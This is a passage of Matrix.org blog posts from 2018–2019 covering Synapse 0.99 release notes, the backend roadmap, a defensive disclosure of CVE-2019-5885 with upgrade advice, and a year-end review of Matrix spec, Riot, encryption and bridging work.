This is great news for the Matrix ecosystem in general - and should be particularly welcome for Qt client projects like Quaternion, Spectral and Nheko-Reborn, who may feel a certain affinity to KDE!

So: welcome, KDE!  Hope you have a great time, and please let us know how you get on, so we can make sure Matrix kicks ass for you :)

  • the Matrix Core Team

Publishing the Backend Roadmap

2019-02-15 — General — 
Good people, 2019 is a big year for Matrix, in the next month we will have shipped:
  • Matrix spec 1.0 (including the first stable release of the Server to Server Spec)
  • Synapse 1.0
  • Riot 1.0
This is huge in itself, but is really only the beginning, and now we want to grow the ecosystem as quickly as possible. This means landing a mix of new features, enhancing existing ones, some big performance improvements as well as generally making life easier for our regular users, homeserver admins and community developers.Today we are sharing the Matrix core team's backend roadmap. The idea is that this will make it easier for anyone to understand where the project is going, what we consider to be important, and why.To see the roadmap in its full glory, take a look here.

What is a roadmap and why is it valuable?

A roadmap is a set of high level projects that the team intend to work on and a rough sense of the relative priority. It is essential to focus on specific goals, which inevitably means consciously not working on other initiatives.Our roadmap is not a delivery plan - there are explicitly no dates. The reason for this is that we know that other projects will emerge, developers will be needed to support other urgent initiatives, matrix.org use continues to grow exponentially and will require performance tweaking. So simply, based on what we know now, this is the order we will work on our projects.

Why are we sharing it?

We already share our day to day todo list, and of course our commit history, but it can be difficult for a casual observer to see the bigger picture from such granular data. The purpose of sharing is that we want anyone from the community to understand where our priorities lie. We are often asked ‘Why are you not working on X, it is really important' where the answer is often ‘We agree that X is really important, but A, B and C are more important and must come first'. The point of sharing the roadmap is to make that priority trade off more transparent and consumable.

How did we build it?

The core contributors to Synapse and Dendrite are 6 people, of 5 nationalities spread across 3 locations. After shipping the r0 release of the Server to Server spec last month we took some time to step back and have a think about what to do after Synapse 1.0 lands. This meant getting everyone in one place to talk it through. We also had Ben (benpa) contribute from a community perspective and took input from speaking to so many of you at FOSDEM.In the end we filled a wall with post-its, each post-it representing a sizeable project. The position of the post-it was significant in that the vertical axis being a sense of how valuable we thought the task would be, and the horizontal axis being a rough guess on how complex we considered it to be.

We found this sort of grid approach to be really helpful in determining relative priority.

After many hours and plenty of blood, sweat and tears we ended up with something we could live with and wrote it up in the shared board.

And this is written in blood right?

Not at all (it's written in board marker). This is simply a way to express our plan of action and we are likely to make changes to it dynamically. However, this means that at any given moment, if someone wants to know what we are working on then the roadmap is the place to go.

But wait I want to know more!

Here is a video of myself and Matthew to talk you through the projects

Interesting, but I have questions ...

Any feedback gratefully received, come and ask questions in #synapse or #dendrite or feel free to ping me direct at @neilj:matrix.org

Synapse 0.99.1.1 Released!

2019-02-14 — General — 

Hey, everyone, today is the day we release Synapse 0.99.1.1

This release contains improved ACME support to make it even easier to get going with TLS certs on your federation end points, plus some tweaks to make the room version upgrade path easier.

Just as a reminder that the 0.99.x series is precursor for our 1.0 release (which will land in early March, exact date to be confirmed) - it is really important that all server admins are aware that self signed certificates on the Server to Server API will no longer be accepted by >= Synapse 1.0. If you have not already done so, now is the time to configure your certificate. For more info see our FAQ and if you get stuck come and join us in #Synapse.

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.

Synapse 0.99.1.1 Changelog

Bugfixes

  • Fix "TypeError: '>' not supported" when starting without an existing certificate. Fix a bug where an existing certificate would be reprovisoned every day. (#4648)

Synapse 0.99.1 Changelog

Features

  • Include m.room.encryption on invites by default (#3902)
  • Federation OpenID listener resource can now be activated even if federation is disabled (#4420)
  • Synapse's ACME support will now correctly reprovision a certificate that approaches its expiry while Synapse is running. (#4522)
  • Add ability to update backup versions (#4580)
  • Allow the "unavailable" presence status for /sync. This change makes Synapse compliant with r0.4.0 of the Client-Server specification. (#4592)
  • There is no longer any need to specify no_tls: it is inferred from the absence of TLS listeners (#4613#4615#4617#4636)
  • The default configuration no longer requires TLS certificates. (#4614)

Bugfixes

  • Copy over room federation ability on room upgrade. (#4530)
  • Fix noisy "twisted.internet.task.TaskStopped" errors in logs (#4546)
  • Synapse is now tolerant of the tls_fingerprints option being None or not specified. (#4589)
  • Fix 'no unique or exclusion constraint' error (#4591)
  • Transfer Server ACLs on room upgrade. (#4608)
  • Fix failure to start when not TLS certificate was given even if TLS was disabled. (#4618)
  • Fix self-signed cert notice from generate-config. (#4625)
  • Fix performance of user_ips table deduplication background update (#4626#4627)

Internal Changes

  • Change the user directory state query to use a filtered call to the db instead of a generic one. (#4462)
  • Reject federation transactions if they include more than 50 PDUs or 100 EDUs. (#4513)
  • Reduce duplication of synapse.app code. (#4567)
  • Fix docker upload job to push -py2 images. (#4576)
  • Add port configuration information to ACME instructions. (#4578)
  • Update MSC1711 FAQ to calrify .well-known usage (#4584)
  • Clean up default listener configuration (#4586)
  • Clarifications for reverse proxy docs (#4607)
  • Move ClientTLSOptionsFactory init out of refresh_certificates (#4611)
  • Fail cleanly if listener config lacks a 'port' (#4616)
  • Remove redundant entries from docker config (#4619)
  • README updates (#4621)

Synapse 0.99.0

2019-02-05 — General — 

Hey hey, Synapse 0.99.0 is here!

You may have heard that we recently published the first stable release of the Server to Server Spec (r0.1). The spec makes some changes which are not compatible with the protocol of the past - particularly, self-signed certificates are no longer valid for homeservers. Synapse 1.0.0 will be compliant with r0.1 and the goal of Synapse 0.99.0 is to act as a stepping stone to Synapse 1.0. Synapse 0.99.0 supports the r0.1 release of the server to server specification, but is compatible with both the legacy Matrix federation behaviour (pre-r0.1) as well as post-r0.1 behaviour, in order to allow for a smooth upgrade across the federation.

It is critical that all admins upgrade to 0.99.0 and configure a valid TLS certificate. Admins will have 1 month to do so, after which 1.0.0 will be released and those servers without a valid certificate will no longer be able to federate with >= 1.0.0 servers.

First of all, please don't panic :) We have taken steps to make this process as simple as possible - specifically implementing ACME support to allow servers to automatically generate free Let's Encrypt certificates if you choose to. What's more, it is not necessary to add the certificate right away, you have at least a month to get set up.

For more details on exactly what you need to do (and also why this change is essential), we have provided an extensive FAQ as well as the Upgrade notes for Synapse

As ever, you can get the new update here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. Also, check out our new Synapse installation guide page.

This was a huge effort! Congratulations to all involved, especially those of you in the community who contributed to spec MSCs and tested our release candidates. Thank you for bearing with us as we move the whole public Matrix Federation onto r0.1 compliant servers.

Onwards!

Changelog

Synapse v0.99.x is a precursor to the upcoming Synapse v1.0 release. It contains foundational changes to room architecture and the federation security model necessary to support the upcoming r0 release of the Server to Server API.

Features

  • Synapse's cipher string has been updated to require ECDH key exchange. Configuring and generating dh_params is no longer required, and they will be ignored. (#4229)
  • Synapse can now automatically provision TLS certificates via ACME (the protocol used by CAs like Let's Encrypt). (#4384#4492#4525#4572#4564#4566#4547#4557)
  • Implement MSC1708 (.well-known routing for server-server federation) (#4408#4409#4426#4427#4428#4464#4468#4487#4488#4489#4497#4511#4516#4520#4521#4539#4542#4544)
  • Search now includes results from predecessor rooms after a room upgrade. (#4415)
  • Config option to disable requesting MSISDN on registration. (#4423)
  • Add a metric for tracking event stream position of the user directory. (#4445)
  • Support exposing server capabilities in CS API (MSC1753, MSC1804) (#447281b7e7eed))
  • Add support for room version 3 (#4483#4499#4515#4523#4535)
  • Synapse will now reload TLS certificates from disk upon SIGHUP. (#4495#4524)
  • The matrixdotorg/synapse Docker images now use Python 3 by default. (#4558)

Bugfixes

  • Prevent users with access tokens predating the introduction of device IDs from creating spurious entries in the user_ips table. (#4369)
  • Fix typo in ALL_USER_TYPES definition to ensure type is a tuple (#4392)
  • Fix high CPU usage due to remote devicelist updates (#4397)
  • Fix potential bug where creating or joining a room could fail (#4404)
  • Fix bug when rejecting remote invites (#4405#4527)
  • Fix incorrect logcontexts after a Deferred was cancelled (#4407)
  • Ensure encrypted room state is persisted across room upgrades. (#4411)
  • Copy over whether a room is a direct message and any associated room tags on room upgrade. (#4412)
  • Fix None guard in calling config.server.is_threepid_reserved (#4435)
  • Don't send IP addresses as SNI (#4452)
  • Fix UnboundLocalError in post_urlencoded_get_json (#4460)
  • Add a timeout to filtered room directory queries. (#4461)
  • Workaround for login error when using both LDAP and internal authentication. (#4486)
  • Fix a bug where setting a relative consent directory path would cause a crash. (#4512)

Deprecations and Removals

  • Synapse no longer generates self-signed TLS certificates when generating a configuration file. (#4509)

Improved Documentation

  • Update debian installation instructions (#4526)

Internal Changes

  • Synapse will now take advantage of native UPSERT functionality in PostgreSQL 9.5+ and SQLite 3.24+. (#4306#4459#4466#4471#4477#4505)
  • Update README to use the new virtualenv everywhere (#4342)
  • Add better logging for unexpected errors while sending transactions (#4368)
  • Apply a unique index to the user_ips table, preventing duplicates. (#4370#4432#4434)
  • Silence travis-ci build warnings by removing non-functional python3.6 (#4377)
  • Fix a comment in the generated config file (#4387)
  • Add ground work for implementing future federation API versions (#4390)
  • Update dependencies on msgpack and pymacaroons to use the up-to-date packages. (#4399)
  • Tweak codecov settings to make them less loud. (#4400)
  • Implement server support for MSC1794 - Federation v2 Invite API (#4402)
  • debian package: symlink to explicit python version (#4433)
  • Add infrastructure to support different event formats (#4437#4447#4448#4470#4481#4482#4493#4494#4496#4510#4514)
  • Generate the debian config during build (#4444)
  • Clarify documentation for the public_baseurl config param (#4458#4498)
  • Fix quoting for allowed_local_3pids example config (#4476)
  • Remove deprecated --process-dependency-links option from UPGRADE.rst (#4485)
  • Make it possible to set the log level for tests via an environment variable (#4506)
  • Reduce the log level of linearizer lock acquirement to DEBUG. (#4507)
  • Fix code to comply with linting in PyFlakes 3.7.1. (#4519)
  • Add some debug for membership syncing issues (#4538)
  • Docker: only copy what we need to the build image (#4562)

Further details on Critical Security Update in Synapse affecting all versions prior to 0.34.1 (CVE-2019-5885)

2019-01-15 — General — 
On Thursday Jan 10th we released a Critical Security Update (Synapse 0.34.0.1/0.34.1.1), which fixes a serious security bug in Synapse 0.34.0 and earlier.  Many deployments have now upgraded to 0.34.0.1 or 0.34.1.1, and we now consider it appropriate to disclose more information about the issue, to provide context and encourage the remaining affected servers to upgrade as soon as possible.In Synapse 0.11 (Nov 2015) we added a configuration parameter called “macaroon_secret_key” which relates to our use of macaroons in authentication. Macaroons are authentication tokens which must be signed by the server which generates them, to prevent them being forged by attackers. “macaroon_secret_key” defines the key which is used for this signature, and it must therefore be kept secret to preserve the security of the server.If the option is not set, Synapse will attempt to derive a secret key from other secrets specified in the configuration file. However, in all versions of Synapse up to and including 0.34.0, this process was faulty and a predictable value was used instead.

So if, your homeserver.yaml does not contain a macaroon_secret_key, you need to upgrade to 0.34.1.1 or 0.34.0.1 or Debian 0.34.0-3~bpo9+2 immediately to prevent the risk of account hijacking.

The vulnerability affects any Synapse installation which does not have a macaroon_secret_key setting. For example, the Debian and Ubuntu packages from Matrix.org, Debian and Ubuntu include a configuration file without an explicit macaroon_secret_key and must upgrade. Anyone who hasn't updated their config since Nov 2015 or who grandfathered their config from the Debian/Ubuntu packages will likely also be affected.We are not aware of this vulnerability being exploited in the wild, but if you are running an affected server it may still be wise to check your synapse's user_ips database table for any unexpected access to your server's accounts. You could also check your accounts' device lists (shown under Settings in Riot) for unexpected devices, although this is not as reliable as an attacker could cover their tracks to remove unexpected devices.We'll publish a full post-mortem of the issue once we are confident that most affected servers have been upgraded.We'd like to apologise for the inconvenience caused by this - especially to folks who upgraded since Friday who were in practice not affected.  Due to the nature of the issue we wanted to minimise details about the issue until people had a chance to upgrade. We also did not follow a planned disclosure procedure because Synapse 0.34.1 already unintentionally disclosed the existence of the bug by fixing it (causing the logout bug for affected users which led us to pull the original Synapse 0.34.1 release).On the plus side, we are approaching the end of beta for Synapse, and going forwards hope to see much better stability and security across the board.Thanks again for your patience,The Matrix.org Team

Critical Security Update: Synapse 0.34.0.1/Synapse 0.34.1.1

2019-01-10 — General — 
After releasing Synapse v0.34.1, we have become aware of a security vulnerability affecting all previous versions (CVE-2019-5885). v0.34.1 closed the vulnerability but, in some cases, caused users to be logged out of their clients, so we do not recommend 0.34.1 for production use.

Today we release two mitigating versions v0.34.0.1 and v0.34.1.1. Both versions close the vulnerability and will not cause users to be logged out. All installations should be upgraded to one or other immediately.

  • Admins who would otherwise upgrade to v0.34.1 (or those that have already done so) should upgrade to v0.34.1.1.
  • Admins on v0.34.0, who do not wish to bring in new non-security related behaviour, should upgrade to v0.34.0.1.
You can get the new updates for v0.34.0.1 and v0.34.1.1 here or any of the sources mentioned at https://github.com/matrix-org/synapse. Note, Synapse is now available from PyPI, pick it up here. See also our Synapse installation guide page.We will publish more details of the vulnerability once admins have had a chance to upgrade. To our knowledge the vulnerability has not been exploited in the wild.Many thanks for your patience, we are moving ever closer to Synapse reaching v1.0, and fixes like this one edge us ever closer.Thanks also to the package maintainers who have coordinated with us to ensure distro packages are available for a speedy upgrade! 

The 2018 Matrix Holiday Special!

2018-12-25 — General — 
Hi all,It's that time again where we break out the mince pies and brandy butter (at least for those of us in the UK) and look back on the year to see how far Matrix has come, as well as anticipate what 2019 may bring!

Overview

It's fair to say that 2018 has been a pretty crazy year.  We have had one overriding goal: to take the funding we received in January, stabilise and freeze the protocol and get it and the reference implementations out of beta and to a 1.0 - to provide a genuinely open and decentralised mainstream alternative to the likes of Slack, Discord, WhatsApp etc.  What's so crazy about that, you might ask?Well, in parallel with this we've also seen adoption of Matrix accelerating ahead of our dev plan at an unprecedented speed: with France selecting Matrix to power the communication infrastructure of its whole public sector - first trialling over the summer, and now confirmed for full roll-out as of a few weeks ago.  Meanwhile there are several other similar-sized projects on the horizon which we can't talk about yet.  We've had the growing pains of establishing New Vector as a startup in order to hire the core team and support these projects.  We've launched Modular to provide professional-quality SaaS Matrix hosting for the wider community and help fund the team.  And most importantly, we've also been establishing the non-profit Matrix.org Foundation to formalise the open governance of the Matrix protocol and protect and isolate it from any of the for-profit work.However: things have just about come together.  Almost all the spec work for 1.0 is done and we are now aiming to get a 1.0 released in time by the end of January (in time for FOSDEM).  Meanwhile Synapse has improved massively in terms of performance and stability (not least having migrated over to Python 3); Riot's spectacular redesign is now available for testing right now; E2E encryption is more stable than ever with the usability rework landing as we speak.  And we've even got a full rewrite of Riot/Android in the wings.But it's certainly been an interesting ride.  Longer-term spec work has been delayed by needing to apply band-aids to mitigate abuse of the outstanding issues.  Riot redesign was pushed back considerably due to prioritising Riot performance over UX. The E2E UX work has forced us to consider E2E holistically… which does not always interact well with structuring the dev work into bite-sized chunks.  Dendrite has generally been idling whilst we instead pour most of our effort into getting to 1.0 on Synapse (rather than diluting 1.0 work across both projects). These tradeoffs have been hard to make, but hopefully we have chosen the correct path in the end.Overall, as we approach 1.0, the project is looking better than ever - hopefully everyone has seen both Riot and Synapse using less RAM and being more responsive and stable, E2E being more reliable, and anyone who has played with the Riot redesign beta should agree that it is light-years ahead of yesterday's Riot and something which can genuinely surpass today's centralised proprietary incumbents. And that is unbelievably exciting :DWe'd like to thank everyone for continuing to support Matrix - especially our Patreon & Liberapay supporters, whose donations continue to be critical for helping fund the core dev team, and also those who are supporting the project indirectly by hosting homeservers with Modular.  We are going to do everything humanly possible to ship 1.0 over the coming weeks, and then the sky will be the limit!Before going into what else 2019 will hold, however, let's take the opportunity to give a bit more detail on the various core team projects which landed in 2018…

France

DINSIC (France's Ministry of Digital, IT & Comms) have been busy building out their massive cross-government Matrix deployment and custom Matrix client throughout most of the year.  After the announcement in April, this started off with an initial deployment over the summer, and is now moving towards the full production rollout, as confirmed at the Paris Open Source Summit a few weeks ago by Mounir Mahjoubi, the Secretary of State of Digital.  All the press coverage about this ended up in French, with the biggest writeup being at CIO Online, but the main mention of Matrix (badly translated from French) is:

Denouncing the use of tools such as WhatsApp; a practice that has become commonplace within ministerial offices, Mounir Mahjoubi announced the launch in production of Tchap, based on Matrix and Riot: an instant messaging tool that will be provided throughout the administrations. So, certainly, developing a product can have a certain cost. Integrating it too. "Free is not always cheaper but it's always more transparent," admitted the Secretary of State.

The project really shows off Matrix at its best, with up to 60 different deployments spread over different ministries and departments; multiple clusters per Ministry; end-to-end encryption enabled by default (complete with e2e-aware antivirus scanning); multiple networks for different classes of traffic; and the hope of federating with the public Matrix network once the S2S API is finalised and suitable border gateways are available.  It's not really our project to talk about, but we'll try to share as much info as we can as roll-out continues.

The Matrix Specification

A major theme throughout the year has been polishing the Matrix Spec itself for its first full stable release, having had more than enough time to see which bits work in practice now and which bits need rethinking.  This all kicked off with the creation of the Matrix Spec Change process back in May, which provides a formal process for reviewing and accepting contributions from anyone into the spec.  Getting the balance right between agility and robustness has been quite tough here, especially pre-1.0 where we've needed to move rapidly to resolve the remaining long-lived sticking points.  However, a process like this risks encouraging the classic “Perfect is the Enemy of Good” problem, as all and sundry jump in to apply their particular brand of perfectionism to the spec (and/or the process around it) and risk smothering it to death with enthusiasm.  So we've ended up iterating a few times on the process and hopefully now converged on an approach which will work for 1.0 and beyond. If you haven't checked out the current proposals guide please give it a look, and feel free to marvel at all the MSCs in flight.  You can also see a quick and dirty timeline of all the MSC status changes since we introduced the process, to get an idea of how it's all been progressing.In August we had a big sprint to cut stable “r0” releases of all the APIs of the spec which had not yet reached a stable release (i.e. all apart from the Client-Server API, which has been stable since Dec 2015 - hence in part the large number of usable independent Matrix clients relative to the other bits of the ecosystem).  In practice, we managed to release 3 out of the 4 remaining APIs - but needed more time to solve the remaining blocking issues with the Server-Server API. So since August (modulo operational and project distractions) we've been plugging away on the S2S API.  The main blocking issue for a stable S2S API has been State Resolution. This is the fundamental algorithm used to determine the state of a given room whenever a race or partition happens between the servers participating in it.  For instance: if Alice kicks Bob on her server at the same time as Charlie ops Bob on his server, who should win? It's vital that all servers reach the same conclusion as to the state of the room, and we don't want servers to have to replicate a full copy of the room's history (which could be massive) to reach a consistent conclusion.  Matrix's original state resolution algorithm dates back to the initial usable S2S implementation at the beginning of 2015 - but over time deficiencies in the algorithm became increasingly apparent. The most obvious issue is the “Hotel California” bug, where users can be spontaneously re-joined to a room they've previously left if the room's current state is merged with an older copy of the room on another server and the ‘wrong' version wins the conflict - a so-called state-reset.After a lot of thought we ended up proposing an all new State Resolution algorithm in July 2018, nicknamed State Resolution Reloaded.  This extends the original algorithm to consider the ‘auth chain' of state events when performing state resolution (i.e. the sequence of events that a given state event cites as evidence of its validity) - as well as addressing a bunch of other issues.  For those wishing to understand in more detail, there's the MSC itself, the formal terse description of the algorithm now merged into the unstable S2S spec - or alternatively there's an excellent step-by-step explanation and guided example from uhoreg (warning: contains Haskell :)  Or you can watch Erik and Matthew try to explain it all on Matrix Live back in July.Since the initial proposal in July, the algorithm has been proofed out in a test jig, iterated on some more to better specify how to handle rejected events, implemented in Synapse, and is now ready to roll.  The only catch is that to upgrade to it we've had to introduce the concept of room versioning, and to flush out historical issues we require you to re-create rooms to upgrade them to the new resolution algorithm. Getting the logistics in place for this is a massive pain, but we've got an approach now which should be sufficient. Clients will be free to smooth over the transition in the UI as gracefully as possible (and in fact Riot has this already hooked up).  So: watch this space as v2 rooms with all-new state resolution in the coming weeks!Otherwise, there are a bunch of other issues in the S2S API which we are still working through (e.g. changing event IDs to be hashes of event contents to avoid lying about IDs, switching to use normal X.509 certificates for federation and so resolve problems with Perspectives, etc).  Once these land and are implemented in Synapse over the coming weeks, we will be able to finally declare a 1.0!Also on the spec side of things, it's worth noting that a lot of effort went into improving performance for clients in the form of the Lazy Loading Members MSC.  This ended up consuming a lot of time over the summer as we updated Synapse and the various matrix-*-sdks (and thus Riot) to only calculate and send details to the clients about members who are currently talking in a room, whereas previously we sent the entire state of the room to the client (even including users who had left). The end result however is a 3-5x reduction in RAM on Riot, and a 3-5x speedup on initial sync.  The current MSC is currently being merged as we speak into the main spec (thanks Kitsune!) for inclusion in upcoming CS API 0.5.

The Matrix.org Foundation (CIC!)

Alongside getting the open spec process up and running, we've been establishing The Matrix.org Foundation as an independent non-profit legal entity responsible for neutrally safeguarding the Matrix spec and evolution of the protocol.  This kicked off in June with the “Towards Open Governance” blog post, and continued with the formal incorporation of The Matrix.org Foundation in October.  Since then, we've spent a lot of time with the non-profit lawyers evolving MSC1318 into the final Articles of Association (and other guidelines) for the Foundation.  This work is basically solved now; it just needs MSC1318 to be updated with the conclusions (which we're running late on, but is top of Matthew's MSC todo list).In other news, we have confirmation that the Community Interest Company (CIC) status for The Matrix.org Foundation has been approved - this means that the CIC Regulator has independently reviewed the initial Articles of Association and approved that they indeed lock the mission of the Foundation to be non-profit and to act solely for the good of the wider online community.  In practice, this means that the Foundation will be formally renamed The Matrix.org Foundation C.I.C, and provides a useful independent safeguard to ensure the Foundation remains on track.The remaining work on the Foundation is:
  • Update and land MSC1318, particularly on clarifying the relationship between the legal Guardians (Directors) of the Foundation and the technical members of the core spec team, and how funds of the Foundation will be handled.
  • Update the Articles of Association of the Foundation based on the end result of MSC1318
  • Transfer any Matrix.org assets over from New Vector to the Foundation.  Given Matrix's code is all open source, there isn't much in the way of assets - we're basically talking about the matrix.org domain and website itself.
  • Introduce the final Guardians for the Foundation.
We'll keep you posted with progress as this lands over the coming months.

Riot

2018 has been a bit of a chrysalis year for Riot: the vast majority of work has been going into the massive redesign we started in May to improve usability & cosmetics, performance, stability, and E2E encryption usability improvements.  We've consciously spent most of the year feature frozen in order to polish what we already have, as we've certainly been guilty in the past of landing way too many features without necessarily applying the needed amount of UX polish.However, as of today, we're super-excited to announce that Riot's redesign is at the point where the intrepid can start experimenting with it - in fact, internally most of the team has switched over to dogfooding (testing) the redesign as of a week or so ago.  Just shut down your current copy of Riot/Web or Desktop and go to https://riot.im/experimental instead if you want to experiment (we don't recommend running both at the same time).  Please note that it is still work-in-progress and there's a lot of polish still to land and some cosmetic bugs still hanging around, but it's definitely at the point of feeling better than the old app.  Most importantly, please provide feedback (by hitting the lifesaver-ring button at the bottom left) to let us know how you get on. See the Riot blog for more details!

Meanwhile, on the performance and stability side of things - Lazy Loading (see above) made a massive difference to performance on all platforms; shrinking RAM usage by 3-5x and similarly speeding up launch and initial sync times.  Ironically, this ended up pushing back the redesign work, but hopefully the performance improvements will have been noticeable in the interim.  We also switched the entire rich text composer from using Facebook's Draft.js library to instead use Slate.js (which has generally been a massive improvement for stability and maintainability, although took *ages* to land - huge thanks to t3chguy for getting it over the line). Meanwhile Travis has been blitzing through a massive list of key “First Impression” bugs to ensure that as many of Riot's most glaring usability gotchas are solved.We also welcomed ever-popular Stickers to the fold - the first instance of per-account rather than per-room widgets, which ended up requiring a lot of new infrastructure in both Riot and the underlying integration manager responsible for hosting the widgets.  But judging by how popular they are, the effort seems to be worth it - and paves the way for much more exciting interactive widgets and integrations in future!An unexpectedly large detour/distraction came in the form of GDPR back in May - we spent a month or so running around ensuring that both Riot and Matrix are GDPR compliant (including the necessary legal legwork to establish how GDPR even applies to a decentralised technology like Matrix).  If you missed all that fun, you can read about it here.  Hopefully we won't have to do anything like that again any time soon...And finally: on the mobile side, much of the team has been distracted helping out France with their Matrix deployment.  However, we've been plugging away on Riot/Mobile, keeping pace with the development on Riot/Web - but most excitingly, we've also found time to experiment with a complete rewrite of Riot/Android in Kotlin, using Realm and Rx (currently nicknamed Riot X).  The rewrite was originally intended as a test-jig for experimenting with the redesign on mobile, but it's increasingly becoming a fully fledged Matrix client… which launches and syncs over 5x faster than today's Riot/Android.  If you're particularly intrepid you should be able to run the app by checking out the project in Android Studio and hitting ‘run'. We expect the rewrite to land properly in the coming months - watch this space for progress!

E2E Encryption

One of the biggest projects this year has been to get E2E encryption out of beta and turned on by default.  Now, whilst the encryption itself in Matrix has been cryptographically robust since 2016 - its usability has been minimal at best, and we'd been running around polishing the underlying implementation rather than addressing the UX.  However, this year that changed, as we opened a war on about 6 concurrent battlefronts to address the remaining issues. These are:
  • Holistic UX.  Designing a coherent, design-led UX across all of the encryption and key-management functionality.  Nad (who joined Matrix as a fulltime Lead UI/UX designer in August) has been leading the charge on this - you can see a preview of the end result here.  Meanwhile, Dave and Ryan are working through implementing it as we speak.
  • Decryption failures (UISIs).  Whenever something goes wrong with E2E encryption, the symptoms are generally the same: you find yourself unable to decrypt other people's messages.  We've been plugging away chasing these down - for instance, switching from localStorage to IndexedDB in Riot/Web for storing encryption state (to make it harder for multiple tabs to collide and corrupt your encryption state); providing mechanisms to unwedge Olm sessions which have got corrupted (e.g. by restoring from backup); and many others.  We also added full telemetry to track the number of UISIs people are seeing in practice - and the good news is that over the course of the year their occurrence has been steadily reducing.  The bad news is that there are still some edge cases left: so please, whenever you fail to decrypt a message, please make sure you submit a bug report and debug logs from *both* the sender and receiving device.  The end is definitely in sight on these, however, and good news is other battlefronts will also help mitigate UISIs.
  • Incremental Key Backup.  Previously, if you only used one device (e.g. your phone) and you lost that phone, you would lose all your E2E history unless you were in the habit of explicitly manually backing up your keys.  Nowadays, we have the ability to optionally let users encrypt their keys with a passphrase (or recovery key) and constantly upload them to the server for safe keeping.  This was a significant chunk of work, but has actually landed already in Riot/Web and Riot/iOS, but is hidden behind a “Labs” feature flag in Settings whilst we test it and sort out the final UX.
  • Cross-signing Keys. Previously, the only way to check whether you were talking to a legitimate user or an imposter was to independently compare the fingerprints of the keys of the device they claim to be using.  In the near future, we will let users prove that they own their devices by signing them with a per-user identity key, so you only have to do this check once. We've actually already implemented one iteration of cross-signing, but this allowed arbitrary devices for a given user to attest each other (which creates a directed graph of attestations, and associated problems with revocations), hence switching to a simpler approach.
  • Improved Verification. Verifying keys by manually comparing elliptic key fingerprints is incredibly cumbersome and tedious.  Instead, we have proposals for using Short Authentication String comparisons and QR-code scanning to simplify the process.  uhoreg is currently implementing these as we speak :)
  • Search.  Solving encrypted search is Hard, but t3chguy did a lot of work earlier in the year to build out matrix-search: essentially a js-sdk bot which you can host, hand your keys to, and will archive your history using a golang full-text search engine (bleve) and expose a search interface that replaces Synapse's default one.  Of all the battlefronts this one is progressing the least right now, but the hope is to integrate it into Riot/Desktop or other clients so that folks who want to index all their conversations have the means to do so.  On the plus side, all the necessary building blocks are available thanks to t3chguy's hacking.
So, TL;DR: E2E is hard, but the end is in sight thanks to a lot of blood, sweat and tears.  It's possible that we may have opened up too many battlefronts in finishing it off rather than landing stuff gradually.  But it should be transformative when it all lands - and we'll finally be able to turn it on by default for private conversations.  Again, we're aiming to pull this together by the end of January.Separately, we've been keeping a close eye on MLS - the IETF's activity around standardising scalable group E2E encryption.  MLS has a lot of potential and could provide algorithmic improvements over Olm & Megolm (whist paving the way for interop with other MLS-encrypted comms systems).  But it's also quite complicated, and is at risk of designing out support of decentralised environments. For now, we're obviously focusing on ensuring that Matrix is rock solid with Olm & Megolm, but once we hit that 1.0 we'll certainly be experimenting a bit with MLS too.

Homeservers

The story of the Synapse team in 2018 has been one of alternating between solving scaling and performance issues to support the ever-growing network (especially the massive matrix.org server)... and dealing with S2S API issues; both in terms of fixing the design of State Resolution, Room Versioning etc (see the Spec section above) and doing stop-gap fixes to the current implementation.Focusing on the performance side of things, the main wins have been:
  • Splitting yet more functionality out into worker processes which can scale independently of the master Synapse process.
  • Yet more profiling and optimisation (particularly caching).  Between this and the worker split-out we were able to resolve the performance ceiling that we hit over the summer, and as of right now matrix.org feels relatively snappy.
  • Lazy Loading Members.
  • Python 3.  As everyone should have seen by now, Synapse is now Python 3 by default as of 0.34, which provides significant RAM and CPU improvements across the board as well as a path forwards given Python 2's planned demise at the end of 2019.  If you're not running your Synapse on Python 3 today, you are officially doing it wrong.
There are also some major improvements which haven't fully landed yet:
  • State compression.  We have a new algorithm for storing room state which is ~10x more efficient than the current one.  We'll be migrating to it in by default in future. If you're feeling particularly intrepid you can actually manually use it today (but we don't recommend it yet).
  • Incremental state resolution.  Before we got sucked into redesigning state resolution in general, Erik came up with a proof that it's possible to memoize state resolution and incrementally calculate it whenever state is resolved in a room rather than recalculate it from scratch each time (as is the current implementation).  This would be a significant performance improvement, given non-incremental state res can consume a lot of CPU (making everything slow down when there are lots of room extremities to resolve), and can consume a lot of RAM and has been one of the reasons that synapse's RAM usage can sometimes spike badly. The good news is that the new state res algorithm was designed to also work in this manner.  The bad news is that we haven't yet got back to implementing it yet, given the new algorithm is only just being rolled out now.
  • Chunks.  Currently, Synapse models all events in a room as being part of a single DAG, which can be problematic if you can see lots of disconnected sections of the DAG (e.g. due to intermittent connectivity somewhere in the network), as Synapse will frantically try to resolve all these disconnected sections of DAG together.  Instead, a better solution is to explicitly model these sections of DAG as separate entities called Chunks, and not try to resolve state between disconnected Chunks but instead consider them independent fragments of the room - and thus simplify state resolution calculations significantly. It also fixes an S2S API design flaw where previously we trusted the server to state the ordering (depth) of events they provided; with chunks, the receiving server can keep track of that itself by tracking a DAG of chunks (as well as the normal event DAG within the chunks).  Now, most of the work for this happened already, but is currently parked until new state res has landed.
Meanwhile, over on Dendrite, we made the conscious decision to get 1.0 out the door on Synapse first rather than trying to implement and iterate on the stuff needed for 1.0 on both Synapse & Dendrite simultaneously.  However, Dendrite has been ticking along thanks to work from Brendan, Anoa and APWhitehat - and the plan is to use it for more niche homeserver work at first; e.g. constrained resource devices (Dendrite uses 5-10x less RAM than Synapse on Py3), clientside homeservers, experimental routing deployments, etc.  In the longer term we expect it to grow into a fully fledged HS though!

Bridging

2018 was a bit of a renaissance for Bridging, largely thanks to Half-Shot coming on board in the Summer to work on IRC bridging and finally get to the bottom of the stability issues which plagued Freenode for the previous, uh, few years.  Meanwhile the Slack bridge got its first ever release - and more recently there's some Really Exciting Stuff happening with matrix-appservice-purple; a properly usable bridge through to any protocol that libpurple can speak… and as of a few days ago also supports *native* XMPP bridging via XMPP.js.  There'll probably be a dedicated blogpost about all of this in the new year, especially when we deploy it all on Matrix.org. Until then, the best bet is to learn more is to watch last week's Matrix Live and hear it all first hand.

Modular

